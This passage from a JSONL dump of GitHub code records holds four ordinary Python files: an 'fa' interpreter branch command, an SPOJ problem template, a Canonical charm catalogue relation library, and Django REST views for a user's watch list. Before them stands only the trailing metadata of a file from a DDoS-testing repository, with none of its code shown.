1","repo_name":"c2theg/DDoS_Testing","sub_path":"mechanize_attack1.py","file_name":"mechanize_attack1.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"41554134880","text":"from argparse import RawTextHelpFormatter\nfrom fa import utils\n\nDESCRIPTION = '''branch unconditionally to label\n\nEXAMPLE:\n results = []\n\n add 1\n -> b skip\n add 2\n label skip\n add 3\n\n results = [1, 3]\n'''\n\n\ndef get_parser():\n p = utils.ArgumentParserNoExit('b',\n description=DESCRIPTION,\n formatter_class=RawTextHelpFormatter)\n p.add_argument('label', help='label to jump to')\n return p\n\n\ndef run(segments, args, addresses, interpreter=None, **kwargs):\n interpreter.set_pc(args.label)\n # pc is incremented by 1, after each instruction\n interpreter.dec_pc()\n return addresses\n","repo_name":"doronz88/fa","sub_path":"fa/commands/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"78"}
+{"seq_id":"26570651966","text":"#!/usr/bin/env python\n\n\"\"\"\nSPOJ Problem #1: Life, the Universe, and Everything\nProblem Code: TEST\n\nDesigned as a reusable template for all programs\n\"\"\"\n\nimport logging\n\nDEBUG = False\n\ndef process(N, data):\n for i in range(0,N):\n if (data[i] != 42):\n print(data[i])\n else:\n return\n\ndef read_inputs():\n data = []\n\n while True:\n x = input()\n\n if (x!=42): data.append(x)\n else: break\n\n return [len(data), data]\n\ndef setup_logging():\n global DEBUG\n if (DEBUG):\n logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG)\n else:\n logging.basicConfig(format='%(message)s', level=logging.INFO)\n\ndef main():\n setup_logging()\n [N, data] = read_inputs()\n process(N, data)\n\nif __name__ == \"__main__\":\n main()","repo_name":"manavkataria/spoj","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12898587080","text":"import ipaddress\nimport logging\nimport socket\nfrom typing import Optional\n\nfrom ops.charm import CharmBase\nfrom ops.framework import EventBase, EventSource, Object, ObjectEvents\n\nLIBID = \"fa28b361293b46668bcd1f209ada6983\"\nLIBAPI = 1\nLIBPATCH = 0\n\nDEFAULT_RELATION_NAME = \"catalogue\"\n\nlogger = logging.getLogger(__name__)\n\n\nclass CatalogueItem:\n \"\"\"`CatalogueItem` represents an application entry sent to a catalogue.\n\n The icon is an iconify mdi string; see https://icon-sets.iconify.design/mdi.\n \"\"\"\n\n def __init__(self, name: str, url: str, icon: str, description: str = \"\"):\n self.name = name\n self.url = url\n self.icon = icon\n self.description = description\n\n\nclass CatalogueConsumer(Object):\n \"\"\"`CatalogueConsumer` is used to send over a `CatalogueItem`.\"\"\"\n\n def __init__(\n self,\n charm,\n relation_name: str = DEFAULT_RELATION_NAME,\n item: Optional[CatalogueItem] = None,\n ):\n super().__init__(charm, relation_name)\n self._charm = charm\n self._relation_name = relation_name\n self._item = item\n\n events = self._charm.on[self._relation_name]\n self.framework.observe(events.relation_joined, self._on_relation_changed)\n self.framework.observe(events.relation_broken, self._on_relation_changed)\n self.framework.observe(events.relation_changed, self._on_relation_changed)\n self.framework.observe(events.relation_departed, self._on_relation_changed)\n self.framework.observe(events.relation_created, self._on_relation_changed)\n\n def _on_relation_changed(self, _):\n self._update_relation_data()\n\n def _update_relation_data(self):\n if not self._charm.unit.is_leader():\n return\n\n if not self._item:\n return\n\n for relation in self._charm.model.relations[self._relation_name]:\n relation.data[self._charm.model.app][\"name\"] = self._item.name\n relation.data[self._charm.model.app][\"description\"] = self._item.description\n relation.data[self._charm.model.app][\"url\"] = self.unit_address(relation)\n relation.data[self._charm.model.app][\"icon\"] = self._item.icon\n\n def update_item(self, item: CatalogueItem):\n \"\"\"Update the catalogue item.\"\"\"\n self._item = item\n self._update_relation_data()\n\n def unit_address(self, relation):\n \"\"\"The unit address of the consumer, on which it is reachable.\n\n Requires ingress to be connected for it to be routable.\n \"\"\"\n if self._item and self._item.url:\n return self._item.url\n\n unit_ip = str(self._charm.model.get_binding(relation).network.bind_address)\n if self._is_valid_unit_address(unit_ip):\n return unit_ip\n\n return socket.getfqdn()\n\n def _is_valid_unit_address(self, address: str) -> bool:\n \"\"\"Validate a unit address.\n\n At present only IP address validation is supported, but\n this may be extended to DNS addresses also, as needed.\n\n Args:\n address: a string representing a unit address\n \"\"\"\n try:\n _ = ipaddress.ip_address(address)\n except ValueError:\n return False\n\n return True\n\n\nclass CatalogueItemsChangedEvent(EventBase):\n \"\"\"Event emitted when the catalogue entries change.\"\"\"\n\n def __init__(self, handle, items):\n super().__init__(handle)\n self.items = items\n\n def snapshot(self):\n \"\"\"Save catalogue entries information.\"\"\"\n return {\"items\": self.items}\n\n def restore(self, snapshot):\n \"\"\"Restore catalogue entries information.\"\"\"\n self.items = snapshot[\"items\"]\n\n\nclass CatalogueEvents(ObjectEvents):\n \"\"\"Events raised by `CatalogueConsumer`.\"\"\"\n\n items_changed = EventSource(CatalogueItemsChangedEvent)\n\n\nclass CatalogueProvider(Object):\n \"\"\"`CatalogueProvider` is the side of the relation that serves the actual service catalogue.\"\"\"\n\n on = CatalogueEvents() # pyright: ignore\n\n def __init__(self, charm: CharmBase, relation_name: str = DEFAULT_RELATION_NAME):\n super().__init__(charm, relation_name)\n self._charm = charm\n self._relation_name = relation_name\n events = self._charm.on[self._relation_name]\n self.framework.observe(events.relation_changed, self._on_relation_changed)\n self.framework.observe(events.relation_joined, self._on_relation_changed)\n self.framework.observe(events.relation_departed, self._on_relation_changed)\n self.framework.observe(events.relation_broken, self._on_relation_broken)\n\n def _on_relation_broken(self, event):\n self.on.items_changed.emit(items=self.items) # pyright: ignore\n\n def _on_relation_changed(self, event):\n self.on.items_changed.emit(items=self.items) # pyright: ignore\n\n @property\n def items(self):\n \"\"\"A list of apps sent over relation data.\"\"\"\n return [\n {\n \"name\": relation.data[relation.app].get(\"name\", \"\"),\n \"url\": relation.data[relation.app].get(\"url\", \"\"),\n \"icon\": relation.data[relation.app].get(\"icon\", \"\"),\n \"description\": relation.data[relation.app].get(\"description\", \"\"),\n }\n for relation in self._charm.model.relations[self._relation_name]\n if relation.app and relation.units\n ]\n","repo_name":"canonical/prometheus-k8s-operator","sub_path":"lib/charms/catalogue_k8s/v1/catalogue.py","file_name":"catalogue.py","file_ext":"py","file_size_in_byte":5402,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"78"}
+{"seq_id":"37763386886","text":"from rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.views import APIView\n\nfrom mylist.models import List\nfrom mylist.serializers import *\n\n\nclass ListController(APIView, ):\n def get(self, request, *args, **kwargs):\n try:\n list = List.objects.filter(profile__id=request.GET['id'])\n serializer = HistorySerializer(instance=list, many=True)\n return Response(serializer.data)\n except Exception as e:\n return Response({\"detail\": str(e)}, status=404)\n\n def post(self, request, *args, **kwargs):\n try:\n data = request.data\n list = List(profile_id=data['profile'], movie_id=data.get('movie', None),\n tv_show_id=data.get('tv_show', None))\n list.clean()\n list.save()\n return Response({\"detail\": \"has been added successfully!\"})\n except Exception as e:\n return Response({\"detail\": str(e)}, status=404)\n\n def delete(self, request, *args, **kwargs):\n try:\n data = request.data\n if data.get('movie'):\n list = List.objects.filter(profile_id=data['profile'], movie_id=data['movie'])\n else:\n list = List.objects.filter(profile_id=data['profile'], tv_show_id=data['tv_show'])\n list.delete()\n return Response({\"detail\": \"has been deleted successfully!\"})\n except Exception as e:\n return Response({\"detail\": str(e)}, status=404)\n","repo_name":"yomnaosamaAlsharqawy/netflix","sub_path":"mylist/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}